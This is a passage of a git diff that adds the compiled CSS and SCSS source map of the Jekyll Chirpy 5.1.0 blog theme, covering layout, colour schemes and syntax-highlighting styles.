.sidebar-bottom{padding-left:3.5rem;width:100%}#sidebar .sidebar-bottom.justify-content-center{-webkit-box-pack:start !important;-ms-flex-pack:start !important;justify-content:flex-start !important}#sidebar .sidebar-bottom>span,#sidebar .sidebar-bottom>button.mode-toggle,#sidebar .sidebar-bottom>a{margin-left:.15rem;margin-right:.15rem;height:2rem;margin-bottom:0.5rem}#sidebar .sidebar-bottom i{background-color:var(--sidebar-btn-bg);font-size:1rem;width:2rem;height:2rem;border-radius:50%;position:relative}#sidebar .sidebar-bottom i::before{position:absolute;top:50%;left:50%;transform:translate(-50%, -50%)}#sidebar .sidebar-bottom .icon-border{top:0.9rem}footer>div.d-flex{width:92%;max-width:1140px}#search-result-wrapper>div{max-width:1150px}}@media all and (min-width: 1700px){#topbar-wrapper{padding-right:calc(100% - 350px - (1920px - 350px))}#topbar{max-width:calc(1150px + 20px)}#main>div.row{padding-left:calc((100% - 1150px - 2%) / 2)}#panel-wrapper{margin-left:3%}footer{padding-left:0;padding-right:calc(100% - 350px - 1180px)}#back-to-top{right:calc(100% - 1920px + 15rem)}}@media (min-width: 1920px){#main>div.row{padding-left:190px}#search-result-wrapper{padding-right:calc(100% - 350px - 1180px)}#panel-wrapper{margin-left:41px}}.pagination{color:var(--btn-patinator-text-color);font-family:'Lato', sans-serif}.pagination a:hover{text-decoration:none}.pagination .page-item .page-link{color:inherit;width:2.5rem;height:2.5rem;padding:0;display:-webkit-box;-webkit-box-pack:center;-webkit-box-align:center;border-radius:50%;border:1px solid var(--btn-paginator-border-color);background-color:var(--button-bg)}.pagination .page-item .page-link:hover{background-color:var(--btn-paginator-hover-color)}.pagination .page-item.active .page-link{background-color:var(--btn-paginator-hover-color);color:var(--btn-text-color)}.pagination .page-item.disabled{cursor:not-allowed}.pagination .page-item.disabled .page-link{color:rgba(108,117,125,0.57);border-color:var(--btn-paginator-border-color);background-color:var(--button-bg)}.pagination .page-item:first-child .page-link,.pagination .page-item:last-child .page-link{border-radius:50%}#post-list{margin-top:1rem;padding-right:0.5rem}#post-list .post-preview{padding-top:1.5rem;padding-bottom:1rem;border-bottom:1px solid var(--main-border-color)}#post-list .post-preview h1{font-size:1.4rem;margin:0}#post-list .post-preview .post-meta i{font-size:0.73rem}#post-list .post-preview .post-meta i:not(:first-child){margin-left:1.2rem}#post-list .post-preview .post-content{margin-top:0.6rem;margin-bottom:0.6rem;color:var(--post-list-text-color)}#post-list .post-preview .post-content>p{margin:0;overflow:hidden;text-overflow:ellipsis;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical}#post-list .post-preview .pin>i{transform:rotate(45deg);padding-left:3px;color:var(--pin-color)}#post-list .post-preview .pin>span{display:none}@media all and (max-width: 830px){.pagination{justify-content:space-evenly}.pagination .page-item:not(:first-child):not(:last-child){display:none}}@media all and (min-width: 831px){#post-list{margin-top:1.5rem}#post-list .post-preview .post-meta .pin{background:var(--pin-bg);border-radius:5px;line-height:1.4rem;height:1.3rem;margin-top:3px;padding-left:1px;padding-right:6px}#post-list .post-preview .post-meta .pin>span{display:inline}.pagination{font-size:0.85rem}.pagination .page-item:not(:last-child){margin-right:0.7rem}.pagination .page-item .page-link{width:2rem;height:2rem}.pagination .page-index{display:none}}@media all and (max-width: 1200px){#post-list{padding-right:0}}#related-posts .card h3,h1+.post-meta em a,h1+.post-meta em,footer a{color:var(--text-color)}h1+.post-meta span+span::before{content:"\2022";padding-left:.25rem;padding-right:.25rem}img.preview-img{margin-top:3.75rem;margin-bottom:0;border-radius:6px}img.preview-img.bg[data-loaded=true]{background:var(--preview-img-bg)}.post-tail-wrapper{margin-top:6rem;border-bottom:1px double var(--main-border-color);font-size:0.85rem}.post-tags{line-height:2rem}.post-navigation{padding-top:3rem;padding-bottom:4rem}.post-navigation .btn{width:50%;position:relative;border-color:var(--btn-border-color);color:var(--link-color)}.post-navigation .btn:hover{background:#2a408e;color:#fff;border-color:#2a408e}.post-navigation .btn.disabled{width:50%;position:relative;border-color:var(--btn-border-color);pointer-events:auto;cursor:not-allowed;background:none;color:gray}.post-navigation .btn.disabled:hover{border-color:none}.post-navigation .btn.btn-outline-primary.disabled:focus{box-shadow:none}.post-navigation .btn::before{color:var(--text-muted-color);font-size:0.65rem;text-transform:uppercase;content:attr(prompt)}.post-navigation .btn:first-child{border-top-right-radius:0;border-bottom-right-radius:0;left:0.5px}.post-navigation .btn:last-child{border-top-left-radius:0;border-bottom-left-radius:0;right:0.5px}.post-navigation p{font-size:1.1rem;line-height:1.5rem;margin-top:0.3rem;white-space:normal}@keyframes fade-up{from{opacity:0;position:relative;top:2rem}to{opacity:1;position:relative;top:0}}#toc-wrapper{border-left:1px solid rgba(158,158,158,0.17);position:-webkit-sticky;position:sticky;top:4rem;transition:top 0.2s ease-in-out;animation:fade-up 0.8s}#toc li a{font-size:0.8rem}#toc li a.nav-link:not(.active){color:inherit}nav[data-toggle=toc] .nav .nav>li>a.active{font-weight:600 !important}#related-posts>h3{color:var(--label-color);font-size:1.1rem;font-weight:600}#related-posts .card{border-color:var(--card-border-color);background-color:var(--card-bg);box-shadow:0 0 5px 0 var(--card-box-shadow);-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out}#related-posts .card:hover{-webkit-transform:translate3d(0, -3px, 0);transform:translate3d(0, -3px, 0);box-shadow:0 10px 15px -4px rgba(0,0,0,0.15)}#related-posts .timeago{color:var(--relate-post-date)}#related-posts p{font-size:0.9rem;margin-bottom:0.5rem;overflow:hidden;text-overflow:ellipsis;display:-webkit-box;-webkit-line-clamp:2;-webkit-box-orient:vertical}#related-posts a:hover{text-decoration:none}#related-posts ul{list-style-type:none;padding-inline-start:1.5rem}#related-posts ul>li::before{background:#c2c9d4;width:5px;height:5px;border-radius:1px;display:block;content:"";position:relative;top:1rem;right:1rem}#tail-wrapper{min-height:2rem}#tail-wrapper>div:last-of-type{margin-bottom:2rem}#tail-wrapper #disqus_thread{min-height:8.5rem}.post-tail-bottom a{color:inherit}.share-wrapper .share-icons>i:hover,.share-wrapper .share-icons a:hover>i{color:var(--btn-share-hover-color) !important}.share-wrapper{vertical-align:middle;user-select:none}.share-wrapper .share-icons{font-size:1.2rem}.share-wrapper .share-icons a:not(:last-child){margin-right:0.25rem}.share-wrapper .share-icons a:hover{text-decoration:none}.share-wrapper .share-icons>i{position:relative;bottom:1px}.share-wrapper .share-icons .fab.fa-twitter{color:var(--btn-share-color, #1da1f2)}.share-wrapper .share-icons .fab.fa-facebook-square{color:var(--btn-share-color, #425f9c)}.share-wrapper .share-icons .fab.fa-telegram{color:var(--btn-share-color, #279fd9)}.share-wrapper .share-icons .fab.fa-weibo{color:var(--btn-share-color, #e5142b)}.share-wrapper .fas.fa-link{color:var(--btn-share-color, #ababab)}.share-label{color:inherit;font-size:inherit;font-weight:400}.share-label::after{content:":"}.license-wrapper{line-height:1.2rem}.license-wrapper>a{color:var(--text-color)}.license-wrapper span:last-child{font-size:0.85rem}@media all and (max-width: 576px){.preview-img[data-src]{margin-top:2.2rem}.post-tail-bottom{-ms-flex-wrap:wrap-reverse !important;flex-wrap:wrap-reverse !important}.post-tail-bottom>div:first-child{width:100%;margin-top:1rem}}@media all and (max-width: 768px){.post-content>p>img{max-width:calc(100% + 1rem)}}@media all and (max-width: 849px){.post-navigation{padding-left:0;padding-right:0;margin-left:-0.5rem;margin-right:-0.5rem}.preview-img[data-src]{max-width:100vw;border-radius:0}}.tag{border-radius:0.7em;padding:6px 8px 7px;margin-right:0.8rem;line-height:3rem;letter-spacing:0;border:1px solid var(--tag-border) !important;box-shadow:0 0 3px 0 var(--tag-shadow)}.tag span{margin-left:0.6em;font-size:0.7em;font-family:'Oswald', sans-serif}#archives ul li:first-child::before,#archives ul li::after{content:"";width:4px;left:75px;display:inline-block;float:left;position:relative;background-color:var(--timeline-color)}#archives{letter-spacing:0.03rem}#archives span.lead{font-size:1.5rem;position:relative;left:8px}#archives span.lead::after{content:"";display:block;position:relative;-webkit-border-radius:50%;-moz-border-radius:50%;border-radius:50%;width:12px;height:12px;top:-26px;left:63px;border:3px solid;background-color:var(--timeline-year-dot-color);border-color:var(--timeline-node-bg);box-shadow:0 0 2px 0 #c2c6cc;z-index:1}#archives span.lead:not(:first-child){position:relative;left:4px}#archives span.lead:not(:first-child)::after{left:67px}#archives ul li{font-size:1.1rem;line-height:3rem}#archives ul li div{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}#archives ul li div a{margin-left:2.5rem;position:relative;top:0.1rem}#archives ul li:nth-child(odd){background-color:var(--main-wrapper-bg, #fff);background-image:linear-gradient(to left, #fff, #fbfbfb, #fbfbfb, #fbfbfb, #fff)}#archives ul li::after{height:2.8rem;top:-1.3rem}#archives ul li:first-child::before{height:3.06rem;top:-1.61rem}#archives ul:not(:last-child)>li:last-child::after{height:3.4rem}#archives ul:last-child>li:last-child::after{display:none}#archives .date{white-space:nowrap;display:inline-block}#archives .date.month{width:1.4rem;text-align:center}#archives .date.month~a::before{content:"";display:inline-block;position:relative;-webkit-border-radius:50%;-moz-border-radius:50%;border-radius:50%;width:8px;height:8px;float:left;top:1.35rem;left:69px;background-color:var(--timeline-node-bg);box-shadow:0 0 3px 0 #c2c6cc;z-index:1}#archives .date.day{font-size:85%;font-family:'Lato', sans-serif;text-align:center;margin-right:-2px;width:1.2rem;position:relative;left:-0.15rem}@media all and (max-width: 576px){#archives{margin-top:-1rem}#archives ul{letter-spacing:0}}.categories i{color:gray}.categories{margin-bottom:2rem}.categories .card-header{padding-right:12px}.categories i{font-size:86%}.categories .list-group-item{border-left:none;border-right:none;padding-left:2rem}.categories .list-group-item:first-child{border-top-left-radius:0;border-top-right-radius:0}.category-trigger{width:1.7rem;height:1.7rem;border-radius:50%;text-align:center;color:#6c757d !important}.category-trigger:hover i{color:var(--categories-icon-hover-color)}.category-trigger i{position:relative;height:0.7rem;width:1rem;transition:transform 300ms ease}@media (hover: hover){.category-trigger:hover{background-color:var(--categories-hover-bg)}}.rotate{-ms-transform:rotate(-90deg);-webkit-transform:rotate(-90deg);transform:rotate(-90deg)}.dash{margin:0 0.5rem 0.6rem 0.5rem;border-bottom:2px dotted var(--dash-color)}#page-category ul>li,#page-tag ul>li{line-height:1.5rem;padding:0.6rem 0}#page-category ul>li::before,#page-tag ul>li::before{background:#999;width:5px;height:5px;border-radius:50%;display:block;content:"";position:relative;top:0.6rem;margin-right:0.5rem}#page-category ul>li>a,#page-tag ul>li>a{font-size:1.1rem}#page-category ul>li>span:last-child,#page-tag ul>li>span:last-child{white-space:nowrap}#page-tag h1>i{font-size:1.2rem}#page-category h1>i{font-size:1.25rem}#page-category a:hover,#page-tag a:hover,#access-lastmod a:hover{margin-bottom:-1px}@media all and (max-width: 576px){#page-category ul>li::before,#page-tag ul>li::before{margin:0 0.5rem}#page-category ul>li>a,#page-tag ul>li>a{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}} + +/*# sourceMappingURL=style.css.map */ \ No newline at end of file diff --git a/assets/css/style.css.map b/assets/css/style.css.map new file mode 100644 index 00000000..4bf4bb37 --- /dev/null +++ b/assets/css/style.css.map @@ -0,0 +1,44 @@ +{ + "version": 3, + "file": "style.css", + "sources": [ + "style.scss", + "vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-5.1.0/_sass/jekyll-theme-chirpy.scss", + "vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-5.1.0/_sass/colors/light-typography.scss", + "vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-5.1.0/_sass/colors/dark-typography.scss", + "vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-5.1.0/_sass/addon/module.scss", + "vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-5.1.0/_sass/addon/variables.scss", + "vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-5.1.0/_sass/variables-hook.scss", + "vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-5.1.0/_sass/addon/syntax.scss", + "vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-5.1.0/_sass/colors/light-syntax.scss", + "vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-5.1.0/_sass/colors/dark-syntax.scss", + "vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-5.1.0/_sass/addon/commons.scss", + "vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-5.1.0/_sass/layout/home.scss", + "vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-5.1.0/_sass/layout/post.scss", + "vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-5.1.0/_sass/layout/tags.scss", + "vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-5.1.0/_sass/layout/archives.scss", + "vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-5.1.0/_sass/layout/categories.scss", + "vendor/bundle/ruby/2.7.0/gems/jekyll-theme-chirpy-5.1.0/_sass/layout/category-tag.scss" + ], + "sourcesContent": [ + "/*\n If the number of TAB files has changed, the following variable is required.\n And it must be defined before `@import`.\n*/\n$tab-count: 5; // plus 1 for home tab\n\n@import \"jekyll-theme-chirpy\";\n\n/* append your custom style below */\n", + "/*!\n * The styles for Jekyll theme Chirpy\n *\n * Chirpy v5.1.0 (https://github.com/cotes2020/jekyll-theme-chirpy)\n * © 2019 Cotes Chung\n * MIT Licensed\n */\n\n@import\n \"colors/light-typography\",\n \"colors/dark-typography\",\n\n \"addon/module\",\n \"addon/variables\",\n \"variables-hook\",\n \"addon/syntax\",\n \"addon/commons\",\n\n \"layout/home\",\n \"layout/post\",\n \"layout/tags\",\n \"layout/archives\",\n \"layout/categories\",\n \"layout/category-tag\";\n", + "/*\n * The syntax light mode typography colors\n */\n\n@mixin light-scheme {\n /* Framework color */\n --body-bg: #fafafa;\n --mask-bg: #c1c3c5;\n --main-wrapper-bg: white;\n --main-border-color: #f3f3f3;\n\n /* Common color */\n --text-color: #34343c;\n --text-muted-color: gray;\n --heading-color: black;\n --blockquote-border-color: #eee;\n --blockquote-text-color: #9a9a9a;\n --link-color: #2a408e;\n --link-underline-color: #dee2e6;\n --button-bg: #fff;\n --btn-border-color: #e9ecef;\n --btn-backtotop-color: #686868;\n --btn-backtotop-border-color: #f1f1f1;\n --btn-box-shadow: #eaeaea;\n --checkbox-color: #c5c5c5;\n --checkbox-checked-color: #07a8f7;\n\n /* Sidebar */\n --sidebar-bg: #eeeeee;\n --sidebar-muted-color: #a2a19f;\n --sidebar-active-color: #424242;\n --nav-cursor-color: #757575;\n --sidebar-btn-bg: white;\n\n /* Topbar */\n --topbar-text-color: rgb(78, 78, 78);\n --topbar-wrapper-bg: white;\n --search-wrapper-bg: rgb(245 245 245 / 50%);\n --search-wrapper-border-color: rgb(245 245 245);\n --search-tag-bg: #f8f9fa;\n --search-icon-color: #c2c6cc;\n --input-focus-border-color: var(--btn-border-color);\n\n /* Home page */\n --post-list-text-color: dimgray;\n --btn-patinator-text-color: #555555;\n --btn-paginator-hover-color: var(--sidebar-bg);\n --btn-paginator-border-color: var(--sidebar-bg);\n --btn-text-color: #676666;\n --pin-bg: #f5f5f5;\n --pin-color: #999fa4;\n\n /* Posts */\n --btn-share-hover-color: var(--link-color);\n --card-border-color: #f1f1f1;\n --card-box-shadow: rgba(234, 234, 234, 0.7686274509803922);\n --label-color: #616161;\n --relate-post-date: rgba(30, 55, 70, 0.4);\n --footnote-target-bg: lightcyan;\n --tag-bg: rgba(0, 0, 0, 0.075);\n --tag-border: #dee2e6;\n --tag-shadow: var(--btn-border-color);\n --tag-hover: rgb(222, 226, 230);\n --tb-odd-bg: #fbfcfd;\n --tb-border-color: #eaeaea;\n --dash-color: silver;\n --preview-img-bg: radial-gradient(circle, rgb(255 255 255) 0%, rgb(249 249 249) 100%);\n --kbd-wrap-color: #bdbdbd;\n --kbd-text-color: var(--text-color);\n --kbd-bg-color: white;\n --prompt-text-color: rgb(46 46 46 / 77%);\n --prompt-tip-bg: rgb(123 247 144 / 20%);\n --prompt-tip-icon-color: #03b303;\n --prompt-info-bg: #e1f5fe;\n --prompt-info-icon-color: #0070cb;\n --prompt-warning-bg: rgb(255 243 205);\n --prompt-warning-icon-color: #ef9c03;\n --prompt-danger-bg: rgb(248 215 218 / 56%);\n --prompt-danger-icon-color: #df3c30;\n\n [class^=prompt-] {\n --link-underline-color: rgb(219 216 216);\n }\n\n /* Categories */\n --categories-hover-bg: var(--btn-border-color);\n --categories-icon-hover-color: darkslategray;\n\n /* Archive */\n --timeline-color: rgba(0, 0, 0, 0.075);\n --timeline-node-bg: #c2c6cc;\n --timeline-year-dot-color: #ffffff;\n\n} /* light-scheme */\n", + "/*\n * The main dark mode styles\n */\n\n@mixin dark-scheme {\n /* Framework color */\n --body-bg: var(--main-wrapper-bg);\n --mask-bg: rgb(68, 69, 70);\n --main-wrapper-bg: rgb(27, 27, 30);\n --main-border-color: rgb(44, 45, 45);\n\n /* Common color */\n --text-color: rgb(175, 176, 177);\n --text-muted-color: rgb(107, 116, 124);\n --heading-color: #cccccc;\n --blockquote-border-color: rgb(66, 66, 66);\n --blockquote-text-color: rgb(117, 117, 117);\n --link-color: rgb(138, 180, 248);\n --link-underline-color: rgb(82, 108, 150);\n --button-bg: rgb(39, 40, 43);\n --btn-border-color: rgb(63, 65, 68);\n --btn-backtotop-color: var(--text-color);\n --btn-backtotop-border-color: var(--btn-border-color);\n --btn-box-shadow: var(--main-wrapper-bg);\n --card-header-bg: rgb(51, 50, 50);\n --label-color: rgb(108, 117, 125);\n --checkbox-color: rgb(118 120 121);\n --checkbox-checked-color: var(--link-color);\n\n /* Sidebar */\n --sidebar-bg: radial-gradient(circle, #242424 0%, #1d1f27 100%);\n --sidebar-muted-color: #6d6c6b;\n --sidebar-active-color: rgb(255 255 255 / 80%);\n --nav-cursor-color: rgb(183, 182, 182);\n --sidebar-btn-bg: rgb(117 116 116 / 20%);\n\n /* Topbar */\n --topbar-text-color: var(--text-color);\n --topbar-wrapper-bg: rgb(39, 40, 43);\n --search-wrapper-bg: rgb(34, 34, 39);\n --search-wrapper-border-color: rgb(34, 34, 39);\n --search-icon-color: rgb(100, 102, 105);\n --input-focus-border-color: rgb(112, 114, 115);\n\n /* Home page */\n --post-list-text-color: rgb(175, 176, 177);\n --btn-patinator-text-color: var(--text-color);\n --btn-paginator-hover-color: rgb(64, 65, 66);\n --btn-paginator-border-color: var(--btn-border-color);\n --btn-text-color: var(--text-color);\n --pin-bg: rgb(34 35 37);\n --pin-color: inherit;\n\n /* Posts */\n --toc-highlight: rgb(116, 178, 243);\n --tag-bg: rgb(41, 40, 40);\n --tag-hover: rgb(43, 56, 62);\n --tb-odd-bg: rgba(42, 47, 53, 0.52); /* odd rows of the posts' table */\n --tb-even-bg: rgb(31, 31, 34); /* even rows of the posts' table */\n --tb-border-color: var(--tb-odd-bg);\n --footnote-target-bg: rgb(63, 81, 181);\n --btn-share-color: #6c757d;\n --btn-share-hover-color: #bfc1ca;\n --relate-post-date: var(--text-muted-color);\n --card-bg: rgb(39, 40, 43);\n --card-border-color: rgb(53, 53, 60);\n --card-box-shadow: var(--main-wrapper-bg);\n --preview-img-bg: radial-gradient(circle, rgb(22 22 24) 0%, rgb(32 32 32) 100%);\n --kbd-wrap-color: #6a6a6a;\n --kbd-text-color: #d3d3d3;\n --kbd-bg-color: #242424;\n --prompt-text-color: rgb(216 212 212 / 75%);\n --prompt-tip-bg: rgba(77, 187, 95, 0.2);\n --prompt-tip-icon-color: rgb(5 223 5 / 68%);\n --prompt-info-bg: rgb(7 59 104 / 80%);\n --prompt-info-icon-color: #0075d1;\n --prompt-warning-bg: rgb(90 69 3 / 95%);\n --prompt-warning-icon-color: rgb(255 165 0 / 80%);\n --prompt-danger-bg: rgb(86 28 8 / 80%);\n --prompt-danger-icon-color: #cd0202;\n\n /* tags */\n --tag-border: rgb(59, 79, 88);\n --tag-shadow: rgb(32, 33, 33);\n --search-tag-bg: var(--tag-bg);\n --dash-color: rgb(63, 65, 68);\n\n /* categories */\n --categories-border: rgb(64, 66, 69);\n --categories-hover-bg: rgb(73, 75, 76);\n --categories-icon-hover-color: white;\n\n /* archives */\n --timeline-node-bg: rgb(150, 152, 156);\n --timeline-color: rgb(63, 65, 68);\n --timeline-year-dot-color: var(--timeline-color);\n\n .post img[data-src] {\n filter: brightness(95%);\n }\n\n hr {\n border-color: var(--main-border-color);\n }\n\n /* posts' toc, override BS */\n nav[data-toggle=toc] .nav-link.active,\n nav[data-toggle=toc] .nav-link.active:focus,\n nav[data-toggle=toc] .nav-link.active:hover,\n nav[data-toggle=toc] .nav > li > a:focus,\n nav[data-toggle=toc] .nav > li > a:hover {\n color: var(--toc-highlight) !important;\n border-left-color: var(--toc-highlight) !important;\n }\n\n /* categories */\n .categories.card,\n .list-group-item {\n background-color: var(--card-bg);\n }\n\n .categories {\n .card-header {\n background-color: var(--card-header-bg);\n }\n\n .list-group-item {\n border-left: none;\n border-right: none;\n padding-left: 2rem;\n border-color: var(--categories-border);\n\n &:last-child {\n border-bottom-color: var(--card-bg);\n }\n }\n }\n\n #archives li:nth-child(odd) {\n background-image:\n linear-gradient(\n to left,\n rgb(26, 26, 30),\n rgb(39, 39, 45),\n rgb(39, 39, 45),\n rgb(39, 39, 45),\n rgb(26, 26, 30)\n );\n }\n\n color-scheme: dark;\n\n #disqus_thread {\n color-scheme: none;\n }\n\n} /* dark-scheme */\n", + "/*\n* Mainly scss modules, only imported to `assets/css/main.scss`\n*/\n\n/* ---------- scss placeholder --------- */\n\n%heading {\n color: var(--heading-color);\n font-weight: 400;\n font-family: 'Lato', 'Microsoft Yahei', sans-serif;\n}\n\n%section {\n #core-wrapper & {\n margin-top: 2.5rem;\n margin-bottom: 1.25rem;\n\n &:focus {\n outline: none; /* avoid outline in Safari */\n }\n }\n}\n\n%anchor {\n .anchor {\n font-size: 80%;\n }\n\n @media (hover: hover) {\n .anchor {\n visibility: hidden;\n opacity: 0;\n transition: opacity 0.25s ease-in, visibility 0s ease-in 0.25s;\n }\n\n &:hover {\n .anchor {\n visibility: visible;\n opacity: 1;\n transition: opacity 0.25s ease-in, visibility 0s ease-in 0s;\n }\n }\n }\n}\n\n%tag-hover {\n background: var(--tag-hover);\n transition: background 0.35s ease-in-out;\n}\n\n%table-cell {\n padding: 0.4rem 1rem;\n font-size: 95%;\n white-space: nowrap;\n}\n\n%link-hover {\n color: #d2603a !important;\n border-bottom: 1px solid #d2603a;\n text-decoration: none;\n}\n\n%link-color {\n color: var(--link-color);\n}\n\n%link-underline {\n border-bottom: 1px solid var(--link-underline-color);\n}\n\n%clickable-transition {\n transition: color 0.35s ease-in-out;\n}\n\n%no-cursor {\n user-select: none;\n}\n\n%no-bottom-border {\n border-bottom: none;\n}\n\n%cursor-pointer {\n cursor: pointer;\n}\n\n%normal-font-style {\n font-style: normal;\n}\n\n%img-caption {\n + em {\n display: block;\n text-align: center;\n font-style: normal;\n font-size: 80%;\n padding: 0;\n color: #6d6c6c;\n }\n}\n\n%sidebar-links {\n color: rgba(117, 117, 117, 0.9);\n user-select: none;\n}\n\n/* ---------- scss mixin --------- */\n\n@mixin no-text-decoration {\n text-decoration: none;\n}\n\n@mixin ml-mr($value) {\n margin-left: $value;\n margin-right: $value;\n}\n\n@mixin pl-pr($val) {\n padding-left: $val;\n padding-right: $val;\n}\n\n@mixin input-placeholder {\n opacity: 0.6;\n}\n\n@mixin label($font-size: 1rem, $font-weight: 600, $color: var(--label-color)) {\n color: $color;\n font-size: $font-size;\n font-weight: $font-weight;\n}\n\n@mixin align-center {\n position: relative;\n left: 50%;\n -webkit-transform: translateX(-50%);\n -ms-transform: translateX(-50%);\n transform: translateX(-50%);\n}\n\n@mixin prompt($type, $fw-icon, $icon-weight: 900) {\n &.prompt-#{$type} {\n background-color: var(--prompt-#{$type}-bg);\n\n &::before {\n content: $fw-icon;\n color: var(--prompt-#{$type}-icon-color);\n font-weight: $icon-weight;\n }\n }\n}\n", + "/*\n * The SCSS variables\n */\n\n/* sidebar */\n\n$sidebar-width: 260px !default; /* the basic width */\n$sidebar-width-small: 210px !default; /* screen width: >= 850px, <= 1199px (iPad landscape) */\n$sidebar-width-large: 350px !default; /* screen width: >= 1650px */\n\n/* tabs of sidebar */\n\n$tab-count: 5 !default; /* backward compatible (version <= 4.0.2) */\n$tab-height: 3rem !default;\n$tab-cursor-height: 1.6rem !default;\n\n$cursor-width: 2px !default; /* the cursor width of the selected tab */\n\n/* other framework sizes */\n\n$topbar-height: 3rem !default;\n\n$footer-height: 5rem !default;\n$footer-height-mobile: 6rem !default; /* screen width: <= 576px */\n\n$main-content-max-width: 1150px !default;\n\n$panel-max-width: 300px !default;\n\n$bottom-min-height: 35rem !default;\n\n/* syntax highlight */\n\n$code-font-size: 0.85rem !default;\n", + "/*\n Appending custom SCSS variables will override the default ones in `_sass/addon/variables.scsss`\n*/\n", + "/*\n* The syntax highlight.\n*/\n\n@import \"colors/light-syntax\";\n@import \"colors/dark-syntax\";\n\nhtml {\n @media (prefers-color-scheme: light) {\n &:not([data-mode]),\n [data-mode=light] {\n @include light-syntax;\n }\n\n &[data-mode=dark] {\n @include dark-syntax;\n }\n }\n\n @media (prefers-color-scheme: dark) {\n &:not([data-mode]),\n &[data-mode=dark] {\n @include dark-syntax;\n }\n\n &[data-mode=light] {\n @include light-syntax;\n }\n }\n}\n\n/* -- Codes Snippet -- */\n\n$code-radius: 6px;\n\n%code-snippet-bg {\n background: var(--highlight-bg-color);\n}\n\n%code-snippet-radius {\n border-radius: $code-radius;\n}\n\n%code-snippet-padding {\n padding-left: 1rem;\n padding-right: 1.5rem;\n}\n\n.highlighter-rouge {\n @extend %code-snippet-bg;\n @extend %code-snippet-radius;\n\n color: var(--highlighter-rouge-color);\n margin-top: 0.5rem;\n margin-bottom: 1.2em; /* Override BS Inline-code style */\n}\n\n.highlight {\n @extend %code-snippet-radius;\n @extend %code-snippet-bg;\n\n @at-root figure#{&} {\n @extend %code-snippet-bg;\n }\n\n overflow: auto;\n padding-top: 0.5rem;\n padding-bottom: 1rem;\n\n pre {\n margin-bottom: 0;\n font-size: $code-font-size;\n line-height: 1.4rem;\n word-wrap: normal; /* Fixed Safari overflow-x */\n }\n\n table {\n td pre {\n overflow: visible; /* Fixed iOS safari overflow-x */\n word-break: normal; /* Fixed iOS safari linenos code break */\n }\n }\n\n .lineno {\n padding-right: 0.5rem;\n min-width: 2.2rem;\n text-align: right;\n color: var(--highlight-lineno-color);\n -webkit-user-select: none;\n -khtml-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n -o-user-select: none;\n user-select: none;\n }\n\n /* set the dollar sign to non-selectable */\n .gp {\n user-select: none;\n }\n\n} /* .highlight */\n\ncode {\n -webkit-hyphens: none;\n -ms-hyphens: none;\n -moz-hyphens: none;\n hyphens: none;\n\n &.highlighter-rouge {\n font-size: $code-font-size;\n padding: 3px 5px;\n border-radius: 4px;\n background-color: var(--inline-code-bg);\n }\n\n &.filepath {\n background-color: inherit;\n color: var(--filepath-text-color);\n font-weight: 600;\n padding: 0;\n }\n\n a > &.highlighter-rouge {\n padding-bottom: 0; /* show link's underlinke */\n color: inherit;\n }\n\n a:hover > &.highlighter-rouge {\n border-bottom: none;\n }\n\n blockquote & {\n color: inherit;\n }\n\n .highlight > & {\n color: transparent;\n }\n}\n\ntd.rouge-code {\n @extend %code-snippet-padding;\n\n /*\n Prevent some browser extends from\n changing the URL string of code block.\n */\n a {\n color: inherit !important;\n border-bottom: none !important;\n pointer-events: none;\n }\n\n}\n\n/* Hide line numbers for default, console, and terminal code snippets */\ndiv {\n &[class^='highlighter-rouge'],\n &.language-plaintext.highlighter-rouge,\n &.language-console.highlighter-rouge,\n &.language-terminal.highlighter-rouge,\n &.nolineno {\n pre.lineno {\n display: none;\n }\n\n td.rouge-code {\n padding-left: 1.5rem;\n }\n }\n}\n\n.code-header {\n @extend %no-cursor;\n\n $code-header-height: 2.25rem;\n\n border-top-left-radius: $code-radius;\n border-top-right-radius: $code-radius;\n display: flex;\n justify-content: space-between;\n align-items: center;\n height: $code-header-height;\n\n &::before {\n $dot-size: 0.75rem;\n $dot-margin: 0.5rem;\n\n content: \"\";\n display: inline-block;\n margin-left: 1rem;\n width: $dot-size;\n height: $dot-size;\n border-radius: 50%;\n background-color: var(--code-header-muted-color);\n box-shadow:\n ($dot-size + $dot-margin) 0 0 var(--code-header-muted-color),\n ($dot-size + $dot-margin) * 2 0 0 var(--code-header-muted-color);\n }\n\n /* the label block */\n span {\n /* label icon */\n i {\n font-size: 1rem;\n margin-right: 0.4rem;\n color: var(--code-header-icon-color);\n\n &.small {\n font-size: 70%;\n }\n }\n\n @at-root [file] #{&} > i {\n position: relative;\n top: 1px; /* center the file icon */\n }\n\n /* label text */\n &::after {\n content: attr(data-label-text);\n font-size: 0.85rem;\n font-weight: 600;\n color: var(--code-header-text-color);\n }\n }\n\n /* clipboard */\n button {\n @extend %cursor-pointer;\n\n border: 1px solid transparent;\n border-radius: $code-radius;\n height: $code-header-height;\n width: $code-header-height;\n padding: 0;\n background-color: inherit;\n\n i {\n color: var(--code-header-icon-color);\n }\n\n &[timeout] {\n &:hover {\n border-color: var(--clipboard-checked-color);\n }\n\n i {\n color: var(--clipboard-checked-color);\n }\n }\n\n &:not([timeout]):hover {\n background-color: rgba(128, 128, 128, 0.37);\n\n i {\n color: white;\n }\n }\n\n &:focus {\n outline: none;\n }\n\n }\n\n}\n\n@media all and (max-width: 576px) {\n .post-content {\n > div[class^='language-'] {\n @include ml-mr(-1.25rem);\n\n border-radius: 0;\n\n .highlight {\n padding-left: 